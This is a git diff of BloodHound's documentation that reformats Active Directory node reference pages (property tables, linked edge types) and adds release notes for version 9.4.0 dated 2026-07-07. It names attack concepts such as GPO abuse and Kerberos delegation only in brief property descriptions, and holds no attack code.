+| Description | The contents of the `description` field for the object. |
| GPO Path | The location where the Group Policy files for this Group Policy Object (GPO) are located. Particularly relevant for when you are doing group policy-based attacks, or for pillaging group policy files for juicy information such as clear text passwords. For more info about GPO-based attacks, see [https://wald0.com/?p=179](https://wald0.com/?p=179) |
| GPO Status | The status of the GPO at the time of collection. Can have the values of "Enabled", "User Configruation Disabled", "Computer Configuration Disabled", and "Disabled". |
diff --git a/docs/resources/nodes/group.mdx b/docs/resources/nodes/group.mdx
index a776bc5c..9b40897f 100644
--- a/docs/resources/nodes/group.mdx
+++ b/docs/resources/nodes/group.mdx
@@ -3,30 +3,25 @@ title: Group
icon: '/images/nodes/ad/group.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
- Properties which are blank/null will not be shown in the Entity Panel.
-
+
| **Entity Panel name** | **Description** |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the DACL_Protected security descriptor flag. |
+| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the `DACL_Protected` security descriptor flag. |
| Admin Count | Whether the object currently, or possibly ever has belonged to a certain set of highly privileged groups. For Active Directory nodes this is related to the AdminSDHolder object and the ProtectAdminGroups background task. Read more about that [here](https://specterops.io/resources/adminsdholder). |
| AdminSDHolder Protected | The authoritative security descriptor of this object matches that of the AdminSDHolder container and is therefore protected by it. AdminSDHolder is a security descriptor template that the ProtectAdminGroups background task stamps on protected objects. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
## References
diff --git a/docs/resources/nodes/issuance-policy.mdx b/docs/resources/nodes/issuance-policy.mdx
index 6886826c..63e23d34 100644
--- a/docs/resources/nodes/issuance-policy.mdx
+++ b/docs/resources/nodes/issuance-policy.mdx
@@ -4,7 +4,11 @@ description:
icon: '/images/nodes/ad/issuance-policy.svg'
---
-
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -12,48 +16,44 @@ The IssuancePolicy node represents the Active Directory LDAP objects of the _msP
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Certificate Template OID | certtemplateoid | msPKI-Cert-Template-OID | The OID string used in certificate templates to reference this issuance policy. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and it's location in AD. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Certificate Template OID | `certtemplateoid` | `msPKI-Cert-Template-OID` | The OID string used in certificate templates to reference this issuance policy. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and it's location in AD. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| Owns | Inbound Object Control |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
-| ExtendedByPolicy | Certificate Templates with Extension |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
+| [ExtendedByPolicy](/resources/edges/extended-by-policy) | Certificate Templates with Extension |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| OIDGroupLink | OID Group Link |
+| [OIDGroupLink](/resources/edges/oid-group-link) | OID Group Link |
## References
diff --git a/docs/resources/nodes/meta.mdx b/docs/resources/nodes/meta.mdx
index d1d3f496..3a0989ba 100644
--- a/docs/resources/nodes/meta.mdx
+++ b/docs/resources/nodes/meta.mdx
@@ -4,11 +4,9 @@ description: Nodes generated and used by analysis
icon: '/images/nodes/bloodhound-enterprise/meta.png'
---
-
+import EnterpriseEditionPill from '/snippets/resources/enterprise-edition-pill.mdx';
+
+
## Representation
@@ -24,11 +22,11 @@ The node supports the properties of the table. Two types of property names will
| | | |
| ----------------------- | --------------- | ---------------------------------------------------------------------------------------------- |
| **Entity Panel** | **Database** | **Description** |
-| Last Seen by BloodHound | lastseen | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| Owner Object Id | owner_objectid | The object ID for the environment the Meta node is associated with |
-| Principal Count | principal_count | The number of principals in the set the Meta node represents |
-| Date | date | ISO time string when the node was created |
-| Composite \* | composite\_\* | Count properties for the associated \* value (node type) that are represented by the Meta node |
+| Last Seen by BloodHound | `lastseen` | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| Owner Object Id | `owner_objectid` | The object ID for the environment the Meta node is associated with |
+| Principal Count | `principal_count` | The number of principals in the set the Meta node represents |
+| Date | `date` | ISO time string when the node was created |
+| Composite \* | `composite_*` | Count properties for the associated \* value (node type) that are represented by the Meta node |
## Edges
diff --git a/docs/resources/nodes/nt-auth-store.mdx b/docs/resources/nodes/nt-auth-store.mdx
index fbaf605d..301cf7ff 100644
--- a/docs/resources/nodes/nt-auth-store.mdx
+++ b/docs/resources/nodes/nt-auth-store.mdx
@@ -3,7 +3,12 @@ title: NTAuthStore
description:
icon: '/images/nodes/ad/nt-auth-store.svg'
---
-
+
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,48 +16,44 @@ The NTAuthStore node represents the Active Directory LDAP object named _NTAuthCe
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Certificate Thumbprints | certthumbprints | caCertificate (X509Certificate) | The thumbprint (unique identifier) of the CA certificates trusted for NT authentication. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and its location in AD. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Certificate Thumbprints | `certthumbprints` | `caCertificate` (`X509Certificate`) | The thumbprint (unique identifier) of the CA certificates trusted for NT authentication. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and its location in AD. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| Owns | Inbound Object Control |
-| TrustedForNTAuth | Trusted CAs |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [TrustedForNTAuth](/resources/edges/trusted-for-nt-auth) | Trusted CAs |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| NTAuthStoreFor | - |
+| [NTAuthStoreFor](/resources/edges/nt-auth-store-for) | - |
## References
diff --git a/docs/resources/nodes/ou.mdx b/docs/resources/nodes/ou.mdx
index f4aa3847..30b80196 100644
--- a/docs/resources/nodes/ou.mdx
+++ b/docs/resources/nodes/ou.mdx
@@ -3,15 +3,14 @@ title: OU
icon: '/images/nodes/ad/ou.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
-Properties which are blank/null will not be shown in the Entity Panel.
-
+
| | |
| --- | --- |
@@ -20,9 +19,9 @@ Properties which are blank/null will not be shown in the Entity Panel.
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
| ACL Inheritance Denied | Identifies whether an object is allowing ACL inheritance to itself. |
-| Blocks Inheritance | Whether the OU blocks GPO inheritance. |
+| Blocks Inheritance | Whether the OU blocks [GPO](/resources/nodes/gpo) inheritance. |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
## References
diff --git a/docs/resources/nodes/overview.mdx b/docs/resources/nodes/overview.mdx
index 16e2b1f5..ed25b669 100644
--- a/docs/resources/nodes/overview.mdx
+++ b/docs/resources/nodes/overview.mdx
@@ -2,13 +2,15 @@
title: About BloodHound Nodes
---
-
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-Nodes represent principals and other objects in the directory. BloodHound stores certain information about each node on the node itself in the neo4j database, and the GUI automatically performs several queries to gather insights about the node, such as how privileged the node is, or which GPOs apply to the node, etc. Simply click the node in the BloodHound GUI, and the "Node Info" tab will populate with all that information for the node.
+
+
+Nodes represent principals and other objects in the directory. BloodHound stores certain information about each node on the node itself in the neo4j database, and the GUI automatically performs several queries to gather insights about the node, such as how privileged the node is, or which [GPOs](/resources/nodes/gpo) apply to the node, etc. Simply click the node in the BloodHound GUI, and the "Node Info" tab will populate with all that information for the node.
Nodes are part of the graph construct, and are represented as circles with an illustration.
-For example, the image below shows three User nodes (left side) connected to one Group node (right side). The nodes are connected via the "MemberOf" edge. Read more about edges in the article [About BloodHound Edges](/resources/edges/overview).
+For example, the image below shows three [User](/resources/nodes/user) nodes (left side) connected to one [Group](/resources/nodes/group) node (right side). The nodes are connected via the [MemberOf](/resources/edges/member-of) edge. Read more about edges in the article [About BloodHound Edges](/resources/edges/overview).
diff --git a/docs/resources/nodes/root-ca.mdx b/docs/resources/nodes/root-ca.mdx
index 874a4830..c7b0d6c3 100644
--- a/docs/resources/nodes/root-ca.mdx
+++ b/docs/resources/nodes/root-ca.mdx
@@ -3,7 +3,12 @@ title: RootCA
description:
icon: '/images/nodes/ad/root-ca.svg'
---
-
+
+import NodeEdgesIntro from '/snippets/resources/node-edges-intro.mdx';
+import NodePropertiesTableGuide from '/snippets/resources/node-properties-table-guide.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
+
+
## Representation
@@ -11,53 +16,49 @@ The RootCA node represents the Active Directory LDAP objects of the _certificati
## Node properties
-The node supports the properties of the table. Three types of property names will be used, depending on where the property is found:
-
-* **Entity Panel:** Name shown in the BloodHound UI.
-* **Database:** Name stored in the BloodHound database and returned by the BloodHound API. This is to be used when running Cypher queries.
-* **Directory:** Name collected from the directory the node is stored in, for example, the LDAP name for an Active Directory property.
+
| | | | |
| --- | --- | --- | --- |
| **Entity Panel** | **Database** | **Directory** | **Description** |
-| Object ID | objectid | objectGUID | The object's unique identifier in the directory. |
-| ACL Inheritance Denied | isaclprotected | nTSecurityDescriptor | Whether inherited permissions (ACEs) from containers are blocked on this object. |
-| Basic Constraint Path Length | basicconstraintpathlength | caCertificate (X509Certificate) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
-| Certificate Chain | certchain | caCertificate (X509Certificate) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
-| Certificate Name | certname | caCertificate (X509Certificate) | The name of the CA's certificate. |
-| Certificate Thumbprint | certthumbprint | caCertificate (X509Certificate) | The thumbprint (unique identifier) of the CA's certificate. |
-| Created | whencreated | whenCreated | When the object was created in the directory. |
-| Distinguished Name | distinguishedname | distinguishedName | The name of the object and it's location in AD. |
-| Domain FQDN | domain | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
-| Domain SID | domainsid | - | The SID of the domain the object belongs to. |
-| Has Basic Constraints | hasbasicconstraints | caCertificate (X509Certificate) | Whether the CA certificate has basic constraints. |
-| Last Collected by BloodHound | lastcollected | - | The most recent time the object was collected and ingested in BloodHound. |
-| Last Seen by BloodHound | lastseen | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
-| - | name | name + domain name | Name of the object + @ + the name of the domain. |
+| Object ID | `objectid` | `objectGUID` | The object's unique identifier in the directory. |
+| ACL Inheritance Denied | `isaclprotected` | `nTSecurityDescriptor` | Whether inherited permissions (ACEs) from containers are blocked on this object. |
+| Basic Constraint Path Length | `basicconstraintpathlength` | `caCertificate` (`X509Certificate`) | The maximum number of non-self-issued intermediate certificates that may follow this certificate in a valid certificate chain. |
+| Certificate Chain | `certchain` | `caCertificate` (`X509Certificate`) | A hierarchical list of certificates starting with the certificate for this CA and ending with a self-signed root certificate. Each certificate is signed by the private key of the next CA certificate. |
+| Certificate Name | `certname` | `caCertificate` (`X509Certificate`) | The name of the CA's certificate. |
+| Certificate Thumbprint | `certthumbprint` | `caCertificate` (`X509Certificate`) | The thumbprint (unique identifier) of the CA's certificate. |
+| Created | `whencreated` | `whenCreated` | When the object was created in the directory. |
+| Distinguished Name | `distinguishedname` | `distinguishedName` | The name of the object and it's location in AD. |
+| Domain FQDN | `domain` | - | The fully qualified domain name (FQDN) of the domain the object belongs to. |
+| Domain SID | `domainsid` | - | The SID of the domain the object belongs to. |
+| Has Basic Constraints | `hasbasicconstraints` | `caCertificate` (`X509Certificate`) | Whether the CA certificate has basic constraints. |
+| Last Collected by BloodHound | `lastcollected` | - | The most recent time the object was collected and ingested in BloodHound. |
+| Last Seen by BloodHound | `lastseen` | - | The most recent time the object or a reference to it was collected and ingested in BloodHound. |
+| - | `name` | `name` + domain name | Name of the object + @ + the name of the domain. |
## Edges
-The following edge types may be linked to/from this node. See the [edges documentation](/resources/edges) for more information on the edge types.
+
### Incoming edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| EnterpriseCAFor | - |
-| GenericAll | Inbound Object Control |
-| GenericWrite | Inbound Object Control |
-| IssuedSignedBy | - |
-| Owns | Inbound Object Control |
-| WriteDacl | Inbound Object Control |
-| WriteOwner | Inbound Object Control |
+| [EnterpriseCAFor](/resources/edges/enterprise-ca-for) | - |
+| [GenericAll](/resources/edges/generic-all) | Inbound Object Control |
+| [GenericWrite](/resources/edges/generic-write) | Inbound Object Control |
+| [IssuedSignedBy](/resources/edges/issued-signed-by) | - |
+| [Owns](/resources/edges/owns) | Inbound Object Control |
+| [WriteDacl](/resources/edges/write-dacl) | Inbound Object Control |
+| [WriteOwner](/resources/edges/write-owner) | Inbound Object Control |
### Outgoing edges
| | |
| --- | --- |
| **Edge type** | **Entity panel category** |
-| RootCAFor | - |
+| [RootCAFor](/resources/edges/root-ca-for) | - |
## References
diff --git a/docs/resources/nodes/user.mdx b/docs/resources/nodes/user.mdx
index 9fcd66b7..2fc35b88 100644
--- a/docs/resources/nodes/user.mdx
+++ b/docs/resources/nodes/user.mdx
@@ -3,37 +3,32 @@ title: User
icon: '/images/nodes/ad/user.svg'
---
-
+import NodePropertiesIntro from '/snippets/resources/node-properties-intro.mdx';
+import ResourceEditionPill from '/snippets/resources/edition-pill.mdx';
-## Node properties
+
-The node supports the properties of the table below.
+## Node properties
-
- Properties which are blank/null will not be shown in the Entity Panel.
-
+
| **Entity Panel name** | **Description** |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| Tier Zero / High Value | BloodHound Enterprise: Whether the object is part of Tier Zero of the Microsoft's Active Directory Tier Model, or the Control Plane of Microsoft's Enterprise Access Model.
BloodHound CE: Whether the object is currently marked as High Value. By default any object that belongs to Tier Zero is marked as High Value. |
| Display Name | The display name for the object. |
| Object ID | The object's security identifier (SID), a unique identifier in the directory. |
-| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the DACL_Protected security descriptor flag. |
+| ACL Inheritance Denied | Identifies whether an object is allowing DACL inheritance to itself. Corresponds to the `DACL_Protected` security descriptor flag. |
| Admin Count | Whether the object currently, or possibly ever has belonged to a certain set of highly privileged groups. For Active Directory nodes this is related to the AdminSDHolder object and the ProtectAdminGroups background task. Read more about that [here](https://specterops.io/resources/adminsdholder). |
| AdminSDHolder Protected | The authoritative security descriptor of this object matches that of the AdminSDHolder container and is therefore protected by it. AdminSDHolder is a security descriptor template that the ProtectAdminGroups background task stamps on protected objects. |
| Admin Rights Count | The number of computers that the object has been added to the local administrators group on. |
| Allows Unconstrained Delegation | Whether the object is allowed to perform unconstrained kerberos delegation. See more info about that [here](https://blog.harmj0y.net/redteaming/another-word-on-delegation/). |
| Created | The time when the object was created in the directory. |
-| Description | The contents of the description field for the object. |
+| Description | The contents of the `description` field for the object. |
| Do Not Require Pre-Authentication | Whether object is not required to perform Kerberos pre-authentication. Pre-authentication is also known as Kerberos ticket-granting-ticket (TGT). |
-| Email | The contents of the email field for the object. |
+| Email | The contents of the `email` field for the object. |
| Enabled | Whether the computer object is enabled. |
-| Last Logon | The last time the domain controller you got this data from handled a logon request for the object. Attribute 'lastlogon'. |
-| Last Logon (Replicated) | The last time any domain controller handled a logon for this object,
the value is, by default, only updated if the latest logon is greater than or equal to 14 days than the previous value. Attribute 'lastlogontimestamp'. |
+| Last Logon | The last time the domain controller you got this data from handled a logon request for the object. Attribute `lastLogon`. |
+| Last Logon (Replicated) | The last time any domain controller handled a logon for this object,
the value is, by default, only updated if the latest logon is greater than or equal to 14 days than the previous value. Attribute `lastLogonTimestamp`. |
| Logonscript | The path for the user's logon script. |
| Profilepath | The path to the user's profile. |
| Sidhistory | Whether the principal has a SID History used for domain migration. |
@@ -44,7 +39,7 @@ The node supports the properties of the table below.
| Sensitive | Whether the UAC flag is to disallow Kerberos delegation for this object. If this is “True”, then the object cannot be abused as part of a Kerberos delegation attack. |
| Serviceprincipalnames | The list of SPNs on the object. Very useful for determining any non-default services that may be running on the computer, such as MSSQL |
| SIDHistory | Previous SID(s) for the object. Used if the object was moved from another domain. |
-| Title | The contents of the title field for the object. |
+| Title | The contents of the `title` field for the object. |
| Trustedtoauth | Whether the object is allowed to perform constrained kerberos delegation. See more info about that [here](https://blog.harmj0y.net/redteaming/another-word-on-delegation/). |
## References
diff --git a/docs/resources/release-notes/2026-07-07.mdx b/docs/resources/release-notes/2026-07-07.mdx
new file mode 100644
index 00000000..e366ad66
--- /dev/null
+++ b/docs/resources/release-notes/2026-07-07.mdx
@@ -0,0 +1,154 @@
+---
+title: 2026-07-07 Release Notes
+description: Learn about new features, enhancements, and fixed issues in BloodHound.
+sidebarTitle: "2026-07-07"
+---
+
+| | | | | |
+| --- | --- | --- | --- | --- |
+| **Release** | **BloodHound** | **OpenHound** | **SharpHound** | **AzureHound** |
+| 2026-07-07 | v9.4.0 | v0.2.11 | No release | No release |
+
+
+ Use the filters on the right side of this page to narrow down the updates by component. You can select multiple filters at the same time to refine your results.
+
+
+
+ {/*BED-8608, BED-8609*/}
+ ## Graph ID Lookup APIs
+
+ Retrieve details for specific OpenGraph nodes and relationships by their graph-assigned integer IDs.
+
+ BloodHound now exposes the following experimental OpenGraph API endpoints:
+
+ - [`GET /api/v2/nodes/{node_id}`](/reference/opengraph-experimental/get-node-by-graph-node-id)
+ - [`GET /api/v2/relationships/{relationship_id}`](/reference/opengraph-experimental/get-relationship-by-graph-relationship-id)
+
+
+
+ {/*BED-8518, BED-8519, BED-8588*/}
+ ## Auditor Role Access Improvements
+
+ Allow auditors to review **File Ingest** activity and **SSO Configuration** details.
+
+ Auditors can now access these administration views in a read-only state while actions, such as uploading files or creating providers, remain restricted to [roles](/manage-bloodhound/auth/users-and-roles) with write access.
+
+
+
+ {/*BED-8189*/}
+ ## Updated Default Admin Email Address
+
+ Use a more appropriate default admin email address in BloodHound Community configuration and example files.
+
+ BloodHound Community now uses `admin@example.com` instead of `spam@example.com` for the [`default_admin.email_address`](/manage-bloodhound/bh-config#default_admin-email_address) configuration property and related examples.
+
+
+ Existing workflows that still rely on the previous email address for initial login may need to be updated.
+
+
+
+
+ {/*BED-8777, BED-8747, BED-8746, BED-8744, BED-8693*/}
+ ## More Resilient OpenHound Operations
+
+ Keep long-running OpenHound jobs alive, identify deployed client versions more easily, and troubleshoot failures with clearer logs.
+
+ OpenHound now:
+
+ - Continues checking in during active collections to reduce unintended job timeouts
+ - Continues collection more often when single-object errors occur
+ - Handles deferred pipeline failures more consistently
+ - Reports its version to BloodHound for visibility on the **Manage Clients** page
+ - Uses human-readable plain-text [log format](/openhound/configuration#log-format) by default for file and stdout output, while keeping structured JSON as an opt-in format
+
+
+
+ {/*BED-8303, BED-7739, BED-8520*/}
+ ## Privilege Zone Rule Authoring Improvements
+
+ Build and validate Privilege Zone [rules](/analyze-data/privilege-zones/rules) with less rework when you switch rule types or refine Cypher-based rules.
+
+ BloodHound now:
+
+ - Preserves rule state when you switch between Cypher and Object ID rule types
+ - Prompts you to rerun Cypher when the query changes
+ - Warns you with a confirmation dialog before saving a Cypher-based rule that returns no results
+
+
+ This helps when you expect a rule to return results after future data collection or changes in your environment.
+
+
+
+
+ {/*BED-7222, BED-7215, BED-7212, BED-8290*/}
+ ## Accessibility Improvements
+
+ Navigate BloodHound with clearer focus states, more consistent semantic structure, and better screen-reader labeling across key workflows.
+
+ This release improves accessible names and labels in administration forms, strengthens visible keyboard focus behavior, and refines headings and page structure to better support assistive technologies.
+
+
+
+ {/*BI-1814*/}
+ ## Higher Memory Limits for Cypher Queries
+
+
+
+ Run more complex Cypher queries in BloodHound Enterprise and return larger **Entity Panel** sections than were previously supported.
+
+
+
+ {/*BED-8276, BED-8781*/}
+ ## Variable Analysis Mode
+
+
+
+ See Privilege Zone updates reflected in your graph faster.
+
+ When you enable [Variable Analysis Mode](/analyze-data/findings/analysis#variable-analysis-mode) on the **Early Access** page, BloodHound Enterprise can skip post-processing after Privilege Zone changes and re-run only the analysis stages needed to update tagged objects and findings.
+
+ This reduces the time it takes for updated zone definitions and related findings to appear in the graph.
+
+
+
+ ## Analysis
+
+ {/*BED-5572*/} Resolved an issue where multi-forest environments that consolidated ADCS into one forest could produce false-positive ADCS ESC attack path edges when a **Computer** node belonged to a different forest than the **Enterprise CA**.
+
+ ## API
+
+ - {/*BED-8136*/} Resolved an issue where the [`GET /api/v2/datapipe/status`](/reference/datapipe/get-datapipe-status) endpoint did not reliably update `last_analysis_run_at` and did not expose the scheduled-analysis timestamps needed to track analysis cadence.
+ - {/*BED-4867*/} Resolved an issue where the [`related_entity_type`](/reference/azure-entities/get-azure-entity#parameter-related-entity-type) parameter on the **Get Azure entity** endpoint could respond too slowly for descendant objects of large **AZTenant** nodes and degrade the user experience in the UI.
+
+ ## Explore
+
+ - {/*BED-7040*/} Resolved an issue where saved query imports could fail for JSON files that used UTF-8 BOM encoding, including files packaged in ZIP archives.
+ - {/*BED-7883*/} Resolved an issue where Cypher equality comparisons could fail for values that contained special characters.
+
+ ## OpenGraph
+
+ - {/*BED-8656*/} Resolved an issue where dragging a file onto the **Quick Upload** dialog on the **OpenGraph Management** page could open the wrong dialog.
+ - {/*BED-8642*/} Resolved an issue where nodes with colons in their names could disappear from the **Search** and **Pathfinding** fields.
+ - {/*BED-8570*/} Resolved an issue where the OpenGraph extension deletion dialog accepted only one character at a time, preventing confirmation.
+ - {/*BED-8310*/} Resolved an issue where the Privilege Zone object details panel failed to load OpenGraph node data for rule-matched objects.
+
+ ## UI
+
+ - {/*BED-8754*/} Resolved focus-state inconsistencies on dropdown menus that could make active controls harder to distinguish.
+ - {/*BED-8390*/} Resolved an issue where parts of the **Posture** page used browser localization settings inconsistently.
+
+ ## Findings
+
+
+
+ {/*BED-8114*/} Resolved an issue where individual attack paths and their finding counts could appear on the **Posture** page but not on the **Attack Paths** page.
+
+
+
+ - {/*BED-8783*/} Resolved an issue where a stub `GH_Organization` node could overwrite a fully collected organization and incorrectly mark it as not collected.
+ - {/*BED-8687*/} Resolved an issue that could cause GitHub collections to fail during normalization.
+ - {/*BED-8689*/} Resolved issues that made large GitHub collections more likely to stall or fail when GitHub API rate limits were exhausted.
+ - {/*BED-8768, BED-8729, BED-8688*/} Resolved multiple Jamf collector failures involving preprocessing, database lookups, and ingest behavior.
+ - {/*BED-8692*/} Resolved an issue that could cause Okta and GitHub collections to fail in Kubernetes-based deployments.
+ - {/*BED-8855*/} Resolved an issue where OpenHound did not respect the default setting that disables anonymous telemetry data.
+
diff --git a/docs/resources/release-notes/summary.mdx b/docs/resources/release-notes/summary.mdx
index dd814031..59e0887e 100644
--- a/docs/resources/release-notes/summary.mdx
+++ b/docs/resources/release-notes/summary.mdx
@@ -20,6 +20,40 @@ SpecterOps is heading to Black Hat USA 2026 with training courses, technical bri
We're excited to share that SO-CON talks are now available [online](https://ghst.ly/SOCON26YT). We've also published the presentation slide decks in a public [GitHub repository](https://github.com/SpecterOps/presentations/tree/main/SO-CON%202026).
+## 2026-07-07
+
+| | | | | |
+| --- | --- | --- | --- | --- |
+| **Release** | **BloodHound** | **OpenHound** | **SharpHound** | **AzureHound** |
+| 2026-07-07 | v9.4.0 | v0.2.11 | No release | No release |
+
+This release opens more administration workflows to auditors in read-only mode, and improves OpenHound collection resilience. Key highlights include:
+
+- **OpenHound**: Keep long-running jobs alive, identify deployed client versions more easily, and troubleshoot failures with clearer logs.
+- **Cypher**: Run more complex Cypher queries in BloodHound Enterprise and return larger **Entity Panel** sections than were previously supported.
+
+### New Features
+
+| Component | Update | Summary |
+| --- | --- | --- |
+| API | [Graph ID Lookup APIs](/resources/release-notes/2026-07-07#graph-id-lookup-apis) | Retrieve nodes and relationships by graph-assigned integer IDs for targeted automation and investigation. |
+
+### Enhancements
+
+| Component | Update | Summary |
+| --- | --- | --- |
+| Administration | [Auditor Role Access Improvements](/resources/release-notes/2026-07-07#auditor-role-access-improvements) | Auditors may now review **File Ingest** activity and **SSO Configuration** details. |
+| Administration | [Updated Default Admin Email Address](/resources/release-notes/2026-07-07#updated-default-admin-email-address) | BloodHound Community now uses `admin@example.com` instead of `spam@example.com` in configuration and example files. |
